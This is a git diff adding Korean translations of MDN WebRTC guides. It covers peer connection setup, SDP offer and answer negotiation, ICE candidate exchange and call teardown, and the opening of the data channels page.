+<p>에러 메세지는 모든 케이스 중 하나만 표시된다. 이 예제에서 call을 취소하는 거와 같이, 미디어 하드웨어의 접근 권한을 거부하는 것에 대해 발생하는 에러들( <code>"SecurityError"</code> 와<code>"PermissionDeniedError"</code>)은 무시한다.</p>
+
+<p>Stream을 가져오는 것을 실패하는 이유와 관계 없이, <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>을 닫기 위해 <code>closeVideoCall()</code>function를 부른다. 그리고 call을 하기 위해 할당된 리소스들을 반납한다. 이 코드는 일부분만 실행된 call을 안전하게 처리할 수 있도록 설계되었다.</p>
+
+<h4 id="Creating_the_peer_connection">Creating the peer connection</h4>
+
+<p><code>createPeerConnection()</code>함수는 caller와 callee에서 WebRTC 커넥션의 각 종점을 나타내는 <a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>object를 생성하는데 사용된다. Caller는 <code>invite()</code>함수를 통해, callee는 <code>handleVideoOfferMsg()</code> 에 의해 실행된다.</p>
+
+<p>이것은 상당히 명료하다:</p>
+
+<pre class="brush: js notranslate">var myHostname = window.location.hostname;
+
+function createPeerConnection() {
+ myPeerConnection = new RTCPeerConnection({
+ iceServers: [ // Information about ICE servers - Use your own!
+ {
+ urls: "turn:" + myHostname, // A TURN server
+ username: "webrtc",
+ credential: "turnserver"
+ }
+ ]
+ });
+
+// …
+</pre>
+
+<p>웹서버와 같은 호스트에 STUN/TURN 서버를 돌리고 있기 때문에, STUN/TURN 서버의 도메인 이름을 <a href="https://developer.mozilla.org/ko/docs/Web/API/Location/hostname"><code>location.hostname</code></a>을 사용하여 설정했다. 만약 다른 서버의 STUN/TURN 서버를 사용한다면 urls 값을 그 서버로 바꿔주면 된다.</p>
+
+<p><code>RTCPeerConnection</code>을 만들 때, call을 구성하는 파라미터들을 명시해줘야한다. 가장 중요한 것은 STUN/TURN 서버의 리스트(<a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> layer에서 caller와 callee의 경로를 찾는데 사용되는 서버)를 담고 있는 <code>iceServers</code>이다<strong>(주의. 웹소켓을 이용한 시그널링 서버와 전혀 다른 개념이다)</strong>. WebRTC는 두 피어가 방화벽이나 NAT 뒤에 숨어 있어도, 각 피어들의 서로 연결될 수 있도록 피어간 연결 경로를 찾아주는 프로토콜(STUN, TURN)을 사용한다.</p>
+
+<div class="note">
+<p>직접 만든 혹은 사용할 권한을 가지고 있는 STUN/TURN 서버를 사용해야 한다.</p>
+</div>
+
+<p><code>iceServers</code>parameter는 object의 배열이고 각각은 STUN/TURN 서버의 URL인 <code>urls</code>field를 무조건 포함한다. 예제에서, ICE layer에서 다른 피어를 찾아 연결 시키기 위한 서버를 제공한다. 이 서버는 TURN 서버이며, Web 서버와 같은 hostname에서 돌아간다. TURN 서버의 description에 <code>username</code>과<code>credential</code>field에 각각 username과 password 정보를 항상 포함시켜야한다는 것을 유의해라.</p>
+
+<h5 id="Set_up_event_handlers">Set up event handlers</h5>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>이 생성되면, 중요한 이벤트들을 위한 handler를 설정해야한다.</p>
+
+<pre class="brush: js notranslate">// …
+ myPeerConnection.onicecandidate = handleICECandidateEvent;
+ myPeerConnection.onaddstream = handleAddStreamEvent;
+ myPeerConnection.onremovestream = handleRemoveStreamEvent;
+ myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+ myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+ myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+ myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+}</pre>
+
+<p>위에 있는 이벤트 핸들러 중 처음 두 개는 필수이다. WebRTC로 스트리밍된 미디어와 관련된 것들을 다루기위해 두 핸들러를 설정해야한다. <a href="https://developer.mozilla.org/ko/docs/Web/Reference/Events/removestream"><code>removestream</code></a>event는 스트리밍이 중단된 것을 감지하는데 유용하다. 따라서 아마 이것도 사용하게 될 것이다. 남아 있는 4개는 필수적인 것은 아니나, 직접 사용해보자. 이것들 외에도 다른 이벤트들을 사용할 수 있으나 여기에서는 다루지 않겠다. 각 핸들러에 관한 요약 설명이다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.onicecandidate")}}</dt>
+ <dd>로컬 ICE layer는 시그널링 서버를 통해 다른 피어에 ICE candidate를 전송하고자 할 때, 너의 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event handler를 호출한다.</dd>
+ <dt>{{domxref("RTCPeerConnection.onaddstream")}}</dt>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/Events/addstream"><code>addstream</code></a>event를 위한 이 핸들러는 너의 커넥션에 remote stream이 추가된 것을 알려주기 위해, 로컬 WebRTC layer에 의해 불려진다. 예를들어, 이것은 들어오는 stream을 element에 연결시켜 디스플레이 되게 만들 때 사용된다. 더 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Receiving_new_streams">Receiving new streams</a> 을 참조해라.</dd>
+ <dt>{{domxref("RTCPeerConnection.onremovestream")}}</dt>
+ <dd>커넥션에서 remote가 stream을 제거할 때, <code>onaddstream</code>의 반대인 <code>onremovestream은</code> <a href="https://developer.mozilla.org/en-US/docs/Web/Events/removestream"><code>removestream</code></a> event을 처리하기위해 실행된다.</dd>
+ <dt>{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}</dt>
+ <dd>ICE 커넥션의 상태 변경을 알리기위해 ICE layer가 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/iceconnectionstatechange"><code>iceconnectionstatechange</code></a> event 를 보낸다. 이것을 통해 커넥션이 실패하거나 끊어지는 것을 알 수 있다. 이 것에 대한 예제를 아래의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_connection_state">ICE connection state</a> 에서 볼 것이다.</dd>
+ <dt>{{domxref("RTCPeerConnection.onicegatheringstatechange")}}</dt>
+ <dd>하나의 상태에서 다른 상태(예를들어, candidate를 모으기 시작하거나 negotiation이 끝났을 때)로 ICE agent의 candidate 수집 프로세스가 변하면, ICE layer는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icegatheringstatechange"><code>icegatheringstatechange</code></a> event를 보낸다. 아래의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_gathering_state">ICE gathering state</a> 을 참조해라.</dd>
+ <dt>{{domxref("RTCPeerConnection.onsignalingstatechange")}}</dt>
+ <dd>시그널링 프로세스의 state가 바뀌게 될 때, WebRTC 인프라는 너에게 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/signalingstatechange"><code>signalingstatechange</code></a> message를 보낸다. <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#">Signaling state</a> 에서 코드를 볼 수 있다.</dd>
+ <dt>{{domxref("RTCPeerConnection.onnegotiationneeded")}}</dt>
+ <dd>이 함수는 WebRTC 인프라가 session negotiation 프로세스를 새로 시작해야할 때마다 불린다. 이것의 일은 callee에게 offer를 생성 후 전달하고, 우리에게 연결을 할 것인지 물어보는 것이다. 어떻게 처리하는지 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_negotiation">Starting negotiation</a> 를 참조해라.</dd>
+</dl>
+
+<h4 id="Starting_negotiation">Starting negotiation</h4>
+
+<p>Caller가 자신의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>과 media stream을 생성하고 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_a_call">Starting a call</a>에서 보이는 것처럼 커넥션에 추가하면, 브라우져는 다른 피어와 커넥션이 준비가 될 때 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/negotiationneeded"><code>negotiationneeded</code></a> event를 활성화 시킬 것이다. 밑에는 이벤트를 핸들링하는 코드이다.</p>
+
+<pre class="brush: js notranslate">function handleNegotiationNeededEvent() {
+ myPeerConnection.createOffer().then(function(offer) {
+ return myPeerConnection.setLocalDescription(offer);
+ })
+ .then(function() {
+ sendToServer({
+ name: myUsername,
+ target: targetUsername,
+ type: "video-offer",
+ sdp: myPeerConnection.localDescription
+ });
+ })
+ .catch(reportError);
+}</pre>
+
+<p>Negotiation 프로세스를 시작하기 위해, 우리가 연결하고자 하는 피어에게 SDP offer를 생성하고 전송해야한다. 이 offer는 커넥션에 로컬로 추가한 media stream 정보(call의 다른 피어에게 전달하고 싶은 비디오)와 ICE layer에 의해 미리 모아 놓은 ICE candidates 정보들을 포함해, 커넥션에 지원되는 구성 목록들을 포함한다. <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#"><code>myPeerConnection.createOffer()</code></a>를 호출함으로써 이 offer를 생성한다. 이 것이 성공한다면(promise에서 fulfill되면), <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#"><code>myPeerConnection.setLocalDescription()</code></a>으로 생성된 offer 정보를 전달한다.<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/setLocalDescription"><code>myPeerConnection.setLocalDescription()</code></a>은 커넥션에서 자신의 미디어 구성 상태나 연결 정보들을 구성한다.</p>
+
+<div class="note">
+<p>기술적으로 말하자면, <code>createOffer()</code>에 의해 리턴되는 blob은 <a href="http://tools.ietf.org/html/3264">RFC 3264</a> offer 이다.</p>
+</div>
+
+<p><code>setLocalDescription()</code>이 완료되어 promise를 리턴하면, description 이 유효하고 세팅 되었음을 알 수 있다. 그 이후에 local description을 포함하는 새로운 <code>"video-offer"</code>message를 만들어 시그널링 서버를 통해 다른 피어에게 전송한다. 이 offer는 다음과 같은 내용을 가진다.</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>메세지의 타입은 <code>"video-offer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>caller의 username.</dd>
+ <dt><code>target</code></dt>
+ <dd>call을 하고자 하는 user의 name.</dd>
+ <dt><code>sdp</code></dt>
+ <dd>offer에 관한 설명을 하는 SDP blob.</dd>
+</dl>
+
+<p><code>createOffer()</code>이나 다른 fulfillment 핸들러에서 에러가 발생한다면, <code>reportError()</code>함수가 실행되어 에러를 보고한다.</p>
+
+<p><code>setLocalDescription()</code>의 fulfillment 핸들러가 실행되면, ICE agent는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event들을 처리하기 시작한다.</p>
+
+<h4 id="Session_negotiation">Session negotiation</h4>
+
+<p>이제 다른 피어와 협상을 할 것이다. 다른 피어는 우리의 offer를 받을 것이고, <code>handleVideoOfferMsg()</code>에 전달한다. Callee에게 <code>"video-offer"</code>message가 도착 했을 때의 이야기를 계속해보자.</p>
+
+<h5 id="Handling_the_invitation">Handling the invitation</h5>
+
+<p>offer가 도착할 때, callee의 <code>handleVideoOfferMsg()</code>함수가 실행되고, offer를 포함한 <code>"video-offer"</code>message를 받을 것이다. 이 코드는 2가지를 해야한다. 첫째, 자기 자신의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>과 media stream을 생성해야 한다. 두번째, 받은 offer를 분석하고 애이에 대한 answer를 만들어 보내야한다.</p>
+
+<pre class="brush: js notranslate">function handleVideoOfferMsg(msg) {
+ var localStream = null;
+
+ targetUsername = msg.name;
+
+ createPeerConnection();
+
+ var desc = new RTCSessionDescription(msg.sdp);
+
+ myPeerConnection.setRemoteDescription(desc).then(function () {
+ return navigator.mediaDevices.getUserMedia(mediaConstraints);
+ })
+ .then(function(stream) {
+ localStream = stream;
+
+ document.getElementById("local_video").srcObject = localStream;
+ return myPeerConnection.addStream(localStream);
+ })
+
+// …
+</pre>
+
+<p>이 코드는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Starting_a_call">Starting a call</a>에 있는 <code>invite()</code>함수와 매우 비슷하다. 먼저, <code>createPeerConnection()</code>함수를 이용해서 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>를 생성하고 구성한다. 그 후에, <code>"video-offer"</code>message로부터 얻은 SDP offer를 가지고 caller의 session description을 나타내는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCSessionDescription"><code>RTCSessionDescription</code></a>object를 생성한다.</p>
+
+<p>그 후에, session description은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/setRemoteDescription"><code>myPeerConnection.setRemoteDescription()</code></a> 안으로 전달된다. 이를 통해, 받은 offer를 caller의 session 정보로 저장한다. 설정에 성공했다면, promise fulfillment handler(<code>then()</code>clause)은 callee의 카메라와 마이크에 접근하고 stream을 설정하는 등 이전에 <code>invite()</code>에서 본 것과 같은 프로세스를 시작한다.</p>
+
+<p>local stream이 작동한다면, 이제 SDP answer를 만든 후 caller에게 보내야 한다.</p>
+
+<pre class="brush: js notranslate"> .then(function() {
+ return myPeerConnection.createAnswer();
+ })
+ .then(function(answer) {
+ return myPeerConnection.setLocalDescription(answer);
+ })
+ .then(function() {
+ var msg = {
+ name: myUsername,
+ target: targetUsername,
+ type: "video-answer",
+ sdp: myPeerConnection.localDescription
+ };
+
+ sendToServer(msg);
+ })
+ .catch(handleGetUserMediaError);
+}</pre>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addStream"><code>RTCPeerConnection.addStream()</code></a> 이 성공적으로 완료되었다면, 그 다음 fulfillment handler가 실행될 것이다. SDP answer string을 만들기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/createAnswer"><code>myPeerConnection.createAnswer()</code></a>를 실행한다. 커넥션에서 callee의 로컬 description을 설정하기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/setLocalDescription"><code>myPeerConnection.setLocalDescription</code></a>에 생성한 SDP를 전달한다.</p>
+
+<p>최종 answer는 caller에게 보내져서, 어떻게 callee에게 닿을 수 있는지 알게해준다. <code>"video-answer"</code>message의 <code>sdp</code>property에 callee의 answer를 포함하고, caller에게 이 메세지를 전달한다.</p>
+
+<p>에러가 발생하면 <code>handleGetUserMediaError()</code>으로 전달되고, <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Handling_getUserMedia%28%29_errors">Handling getUserMedia() errors</a>에 잘 설명되어 있다.</p>
+
+<div class="note">
+<p>caller와 마찬가지로 <code>setLocalDescription()</code>fulfillment handler가 실행되면, 브라우져는 callee가 반드시 처리해야하는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event들을 처리하기 시작한다.</p>
+</div>
+
+<h5 id="Sending_ICE_candidates">Sending ICE candidates</h5>
+
+<p>caller가 callee로부터 answer를 받으면 모든 것이 끝났다고 생각할 수 있지만, 그렇지 않다. 뒷단 에서는 각 피어들의 ICE agent들이 열심히 ICE candidate message들을 교환한다. 미디어 통신이 어떻게 연결될 수 있는지에 대한 방법들을 알릴 때까지, 각 피어들은 상대방에게 계속해서 candidate들을 보낸다. 이 candidate들은 너의 시그널링 서버를 통해서 전송되어야 한다. ICE는 너의 시그널링 서버에 대해 모르기 때문에, 너는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event를 위한 핸들러를 불러서 전송된 candidate 들을 너의 코드로 직접 처리해야한다.</p>
+
+<p>너의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/onicecandidate"><code>onicecandidate</code></a>handler는 <code>candidate</code>property가 candidate의 정보를 담고 있는 SDP(단, candidate들의 끝에는<code>null</code>이 찍혀있다) 인 이벤트들을 받는다. 이것이 너의 시그널링 서버를 통해 다른 피어에게 전송해야할 것들이다. 밑에 구현 예제가 있다.</p>
+
+<pre class="brush: js notranslate">function handleICECandidateEvent(event) {
+ if (event.candidate) {
+ sendToServer({
+ type: "new-ice-candidate",
+ target: targetUsername,
+ candidate: event.candidate
+ });
+ }
+}</pre>
+
+<p>이 코드에서 candidate를 포함하는 object를 만들고 다른 피어에 보낸다. <code>sendToServer()</code>함수는 위에서 이미 다뤘으며 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Sending_messages_to_the_signaling_server">Sending messages to the signaling server</a>에 코드가 있다. message의 property들이 의미하는 것은 다음과 같다.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>ICE candidate가 보내야하는 곳의 username. 이것을 통해 시그널링 서버가 메세지를 타겟에게 전달한다.</dd>
+ <dt><code>type</code></dt>
+ <dd>메세지 타입은 <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>ICE layer가 다른 피어에게 전송하고자하는 candidate object.</dd>
+</dl>
+
+<p>메세지의 포맷(시그널링을 처리하는 모든 메세지들은)은 모두 너의 영역이고, 너가 필요한 것에 달렸다. 너가 또다른 필요한 정보가 있다면 추가할 수 있다. 메세지는 그저 JSON stringfied 되어 상대방에게 전달될 뿐이다.</p>
+
+<div class="note">
+<p>Call의 다른 피어로부터 ICE candidate가 도착할 때, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event가 전송되는 것이 <strong>아님을 항상 명심해라</strong>. 대신에 너 자신이 call을 할 때 보내는 것으로, 너가 원하는 채널을 통해 data를 보낼 수 있다. WebRTC를 처음 접한다면 매우 헷갈릴 것이다.</p>
+</div>
+
+<h5 id="Receiving_ICE_candidates">Receiving ICE candidates</h5>
+
+<p>시그널링 서버는 어떤 방법을 고르던 간에 각 ICE candidate를 목적지까지 배달한다. 이번 예제 에서는 type이 <code>"new-ice-candidate"</code>인 JSON object를 사용한다. <code>handleNewICECandidateMsg()</code>함수는 이 메세지들을 처리하기 위해 실행된다.</p>
+
+<pre class="brush: js notranslate">function handleNewICECandidateMsg(msg) {
+ var candidate = new RTCIceCandidate(msg.candidate);
+
+ myPeerConnection.addIceCandidate(candidate)
+ .catch(reportError);
+}</pre>
+
+<p>수신된 SDP를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate"><code>RTCIceCandidate</code></a> 생성자의 인자로서 전달하여 object를 생성하고, 이 object를 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addIceCandidate"><code>myPeerConnection.addIceCandidate()</code></a> 에 전달한다. 이 함수를 통해 새로운 ICE candidate를 local ICE layer에 전달하고, 드디어 candidate 를 핸들링하는 프로세스에서 우리의 역할은 끝났다.</p>
+
+<p>각 피어는 작동할 것으로 보이는 각 커넥션 메소드의 candidate를 다른 피어에게 보낸다. 양측은 합의에 도달하고 커넥션을 open한다. 협약을 진행 중에도 더 나은 커넥션 메소드를 찾거나, 단순히 피어가 커넥션을 설정할 때 candidate 교환이 진행 중이었을 수 있기 때문에, candidate는 여전히 송,수신 될 수 있음을 기억해라.</p>
+
+<h5 id="Receiving_new_streams">Receiving new streams</h5>
+
+<p>리모트 피어가 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addStream"><code>RTCPeerConnection.addStream()</code></a>를 부름으로써, 또는 stream format에 대한 renegotiation(재협상)에 의해 새로운 스트림이 커넥션에 추가되었을 때, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/addstream"><code>addstream</code></a>event가 발생한다. 어떻게 처리하는지 아래 코드를 보자.</p>
+
+<pre class="brush: js notranslate">function handleAddStreamEvent(event) {
+ document.getElementById("received_video").srcObject = event.stream;
+ document.getElementById("hangup-button").disabled = false;
+}</pre>
+
+<p>이 함수는 들어오는 stream을 id가 <code>"received_video"</code>인 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a>element에 할당하고, 유저가 전화를 받을 수 있도록 버튼을 활성화한다.</p>
+
+<p>이 코드가 제대로 실행된다면, 드디어 다른 피어에서 오는 비디오를 로컬 브라우저에서 볼 수 있게 된다!</p>
+
+<h5 id="Handling_the_removal_of_streams">Handling the removal of streams</h5>
+
+<p>리모트 피어가 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/removeStream"><code>RTCPeerConnection.removeStream()</code></a>를 호출하여 커넥션으로부터 스트림을 없애면, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/removestream"><code>removestream</code></a>event가 발생하게 된다.</p>
+
+<pre class="brush: js notranslate">function handleRemoveStreamEvent(event) {
+ closeVideoCall();
+}</pre>
+
+<p>이 함수는 <code>closeVideoCall()</code>함수를 실행시켜 call이 닫히도록 만들고, 다른 커넥션을 시작할 수 있도록 기존 인터페이스를 버린다. 어떻게 코드가 동작하는지 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Ending_the_call">Ending the call</a>을 참조해라.</p>
+
+<h4 id="Ending_the_call">Ending the call</h4>
+
+<p>There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred. Or one user might have quit their browser, or had a systen crash.</p>
+
+<h5 id="Hanging_up">Hanging up</h5>
+
+<p>When the user clicks the "Hang Up" button to end the call, the <code>hangUpCall()</code> function is apllied:</p>
+
+<pre class="brush: js notranslate">function hangUpCall() {
+ closeVideoCall();
+ sendToServer({
+ name: myUsername,
+ target: targetUsername,
+ type: "hang-up"
+ });
+}</pre>
+
+<p><code>hangUpCall()</code> executes <code>closeVideoCall()</code>, shutting down and resetting the connection and related resources. We then build a <code>"hang-up"</code> message, sending this to the other end of the call, allowing the other peer to neatly shut down.</p>
+
+<h5 id="Ending_the_call_2">Ending the call</h5>
+
+<p>아래에 있는 <code>closeVideoCall()</code>함수는 stream들을 멈추고 지운 후에,<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>object를 없앤다.</p>
+
+<pre class="brush: js notranslate">function closeVideoCall() {
+ var remoteVideo = document.getElementById("received_video");
+ var localVideo = document.getElementById("local_video");
+
+ if (myPeerConnection) {
+ if (remoteVideo.srcObject) {
+ remoteVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+ remoteVideo.srcObject = null;
+ }
+
+ if (localVideo.srcObject) {
+ localVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+ localVideo.srcObject = null;
+ }
+
+ myPeerConnection.close();
+ myPeerConnection = null;
+ }
+
+ document.getElementById("hangup-button").disabled = true;
+
+ targetUsername = null;
+}</pre>
+
+<p>2개의 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a>element를 참조한 이후에, WebRTC 커넥션이 존재하는지 체크한다. 만약 있다면, call을 끊고 닫는다:</p>
+
+<ol>
+ <li>리모트와 로컬 비디오 stream에 대해서, 각 track들 마다 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaTrack/stop"><code>MediaTrack.stop()</code></a>를 실행시킨다.</li>
+ <li>양 비디오의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement/srcObject"><code>HTMLMediaElement.srcObject</code></a>property를 <code>null</code>로 바꿔 stream에 관한 모든 참조를 푼다.</li>
+ <li>
+ <p><a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/close"><code>myPeerConnection.close()</code></a>를 불러 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>을 닫는다.</p>
+ </li>
+ <li>
+ <p><code>myPeerConnection</code>변수의 값을 <code>null</code>로 바꿔서 계속 진행중인 call이 없다는 것을 전체 코드가 알게 한다. 이것은 유저가 유저 리스트에서 username을 클릭할 때 사용된다.</p>
+ </li>
+</ol>
+
+
+
+<p>마지막으로, "Hang Up" 버튼의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/disabled"><code>disabled</code></a> property를 <code>true</code>로 바꿔서 call이 없는 동안에는 클릭이 불가능하게 만든다. 그 다음에 더이상 통화를 하지 않으므로 <code>targetUsername</code>을 <code>null</code>로 바꾼다. 이것을 통해 또 다른 유저에게 call을 하거나 새로운 call을 받을 수 있다.</p>
+
+<h4 id="Dealing_with_state_changes">Dealing with state changes</h4>
+
+<p>다양한 상태 변화를 너의 코드에 알리기 위해 listener를 세팅할 수 있는 다양한 이벤트들이 있다. 그 중에 다음 3가지를 사용하겠다.: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.</p>
+
+<h5 id="ICE_connection_state">ICE connection state</h5>
+
+<p>커넥션 state가 바뀌면(예를들어, call이 다른쪽에서 중단 될 때) ICE layer가 <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#"><code>iceconnectionstatechange</code></a>event를 우리에게 보낸다.</p>
+
+<pre class="brush: js notranslate">function handleICEConnectionStateChangeEvent(event) {
+ switch(myPeerConnection.iceConnectionState) {
+ case "closed":
+ case "failed":
+ case "disconnected":
+ closeVideoCall();
+ break;
+ }
+}</pre>
+
+<p>ICE connection state가 <code>"closed"</code>, 또는<code>"failed"</code>, 또는 <code>"disconnected"</code>으로 바뀔 때 <code>closeVideoCall()</code>함수를 실행한다. 커넥션을 끊으며, 처음(또는 accept) call 상태로 돌아간다.</p>
+
+<h5 id="ICE_signaling_state">ICE signaling state</h5>
+
+<p>마찬가지로 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/signalingstatechange"><code>signalingstatechange</code></a>event를 받을 수 있는데, 시그널링 상태가 <code>"closed"</code>으로 바뀌면 call을 완전히 종료시킨다.</p>
+
+<pre class="brush: js notranslate"> myPeerConnection.onsignalingstatechange = function(event) {
+ switch(myPeerConnection.signalingState) {
+ case "closed":
+ closeVideoCall();
+ break;
+ }
+ };</pre>
+
+<h5 id="ICE_gathering_state">ICE gathering state</h5>
+
+<p>{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but we're implementing it for logging, observing via the console log how the whole process works.</p>
+
+<pre class="brush: js notranslate">function handleICEGatheringStateChangeEvent(event) {
+ // Our sample just logs information to console here,
+ // but you can do whatever you need.
+}
+</pre>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>You can now <a href="https://webrtc-from-chat.glitch.me/">play with this sample</a> to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">GitHub</a>) has a lot of console output so you can see the signaling and connection processes at work.</p>
diff --git a/files/ko/web/api/webrtc_api/using_data_channels/index.html b/files/ko/web/api/webrtc_api/using_data_channels/index.html
new file mode 100644
index 0000000000..e1c5963e58
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/using_data_channels/index.html
@@ -0,0 +1,95 @@
+---
+title: WebRTC data channel 사용하기
+slug: Web/API/WebRTC_API/Using_data_channels
+translation_of: Web/API/WebRTC_API/Using_data_channels
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}} 인터페이스를 사용하여 WebRTC Peerconnction을 연결하면 이제 두 Peer간의 커넥션을 통하여 미디어 데이터를 주고 받을수 있게됩니다. 그뿐아니라 WebRTC로 할수 있는 일은 더 있습니다. 이 가이드에서 우리는 peer connection에 데이터 채널을 추가하는 방법과 임의의 데이터, 즉 우리가 원하는 어떠한 포멧의 데이터들을 안전하게 주고 받는 방법을 배우게 될 것 입니다.    </span>    </p>
+
+<div class="note">
+<p>모든 WebRTC 컴포넌트들은 암호화를 사용하게 되어 있기 때문에 <code>RTCDataChannel</code>을 이용하는 어떤 데이터 전송도 자동적으로 Datagram Transport Layer Security (<strong>DTLS</strong>)을 사용하여 암호화 됩니다. 자세한 내용은 {{anch("Security")}} 를 참고하십시오.</p>
+</div>
+
+<h2 id="데이터_채널_만들기">데이터 채널 만들기</h2>
+
+<p>{{domxref("RTCDataChannel")}}를 이용한 기초적인 데이터 전송은 아래의 두 방법중 하나를 이용하여 만들수 있습니다.</p>
+
+<ul>
+ <li>WebRTC가 전송수단을 만들게 하고 {{event("datachannel")}} 이벤트를 수신 받게 하여 remote peer에 알립니다. 참 쉽죠? 이 단순한 로직을 바탕으로 수많은 활용법을 만들어 낼 수 있습니다. 하지만 단순하기 때문에 구현하고자하는 모든 요구를 만족해주지는 못합니다.</li>
+ <li>데이터 전송을 할 수 있는 코드를 스스로 작성하고 새로운 채널이 연결되었다는 것을 알려줄수 있는 코드를 작성해주십시오. </li>
+</ul>
+
+<p>위에서 언급한 두가지 방법을 각각 살펴보겠습니다. 우선은 가장 일반적으로 사용되는 첫번째 방법부터 살펴보겠습니다.</p>
+
+<h3 id="자동_협상Automatic_negotiation">자동 협상(Automatic negotiation)</h3>
+
+<p>{{domxref("RTCDataChannel")}} 연결의 협상을 핸들링하기 위해 대부분 Peer 연결을 사용하게 됩니다. 이를 위해 간단히 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 지정하지 않고 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 를 호출하거나 그저 false로 설정합니다. 이 행위는 협상을 핸들링하기 위해 자동적으로 RTCPeerConnection를 발동시키고 원격 피어(remote peer)가 데이터 채널을 만들고 네트워크를 통하여 서로를 연결되게 만듭니다.</p>
+
